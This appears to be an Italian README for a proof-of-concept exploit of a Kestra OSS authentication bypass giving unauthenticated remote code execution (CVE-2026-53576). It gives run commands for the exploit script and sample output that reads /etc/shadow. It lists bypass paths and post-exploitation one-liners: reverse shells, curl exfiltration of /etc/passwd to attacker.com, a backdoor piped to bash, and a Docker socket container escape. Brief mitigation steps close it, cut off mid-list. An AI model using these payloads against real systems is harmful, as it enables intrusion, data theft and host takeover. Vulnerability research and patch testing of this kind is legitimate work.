
Exploit RCE non autenticato Kestra (CVE-2026-53576)
Bypass critico dell'autenticazione che consente l'esecuzione di codice remoto non autenticata
Questo strumento è destinato esclusivamente a test di sicurezza educativi e autorizzati.
- NON usarlo contro sistemi che non possiedi o per i quali non hai un'esplicita autorizzazione scritta al test.
- NON usarlo per attività illegali.
- L'autore NON è responsabile di qualsiasi uso improprio di questo strumento.
- Usalo a TUO RISCHIO.
CVE-2026-53576 è una vulnerabilità critica in Kestra OSS fino alla versione v1.3.20 che consente l'esecuzione di codice remoto non autenticata tramite un bypass del filtro di autenticazione.
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2026-53576 |
| Gravità | Critica (9.8 CVSS) |
| Tipo di vulnerabilità | Bypass dell'autenticazione + RCE |
| Prodotto interessato | Kestra OSS |
| Versioni interessate | ≤ v1.3.20 |
| Vettore di attacco | Rete |
| Autenticazione richiesta | Nessuna |
| Interazione dell'utente | Nessuna |
Il filtro di autenticazione in Kestra contiene un difetto logico critico:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Questo controlla se qualsiasi richiesta API termina con /configs, invece di corrispondere alla rotta esatta. Ciò consente agli aggressori di bypassare l'autenticazione aggiungendo /configs a qualsiasi endpoint.
POST /api/v1/main/flows/configs (bypassa l'autenticazione)POST /api/v1/main/executions/configs/configs (bypassa l'autenticazione)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Opzione | Descrizione |
|---|---|
target | Indirizzo IP o hostname del target (obbligatorio) |
-p, --port | Porta (predefinita: 8080) |
--https | Usa HTTPS invece di HTTP |
-c, --command | Comando personalizzato da eseguire |
--docker-check | Verifica l'accesso al socket Docker |
--cleanup | Elimina il flusso dopo lo sfruttamento |
--delay | Ritardo tra le richieste (predefinito: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Output:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Categoria | Gravità | Descrizione |
|---|---|---|
| Riservatezza | ⚠️ Critica | Leggere qualsiasi file (password, segreti, configurazioni) |
| Integrità | ⚠️ Critica | Creare/modificare/eliminare flussi e dati |
| Disponibilità | ⚠️ Alta | Arresto del sistema, esaurimento delle risorse |
| Autenticazione | ⚠️ Critica | Bypass completo dell'autenticazione di base (Basic-Auth) |
| Escalation dei privilegi | ⚠️ Critica | I comandi vengono eseguiti come root (uid=0) |
| Fuga dal container | ⚠️ Critica | Compromissione dell'host tramite il socket Docker |
Un aggressore non autenticato può:
Eseguire comandi arbitrari come root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Spostarsi sul sistema host (se il socket Docker è montato):
docker run -v /:/host --privileged alpine chroot /host
Accedere ai metadati cloud (se si è su un provider cloud):
curl http://169.254.169.254/latest/meta-data/
Spegnere le istanze vulnerabili:
sudo systemctl stop kestra
Bloccare l'accesso pubblico:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Applicare regole firewall: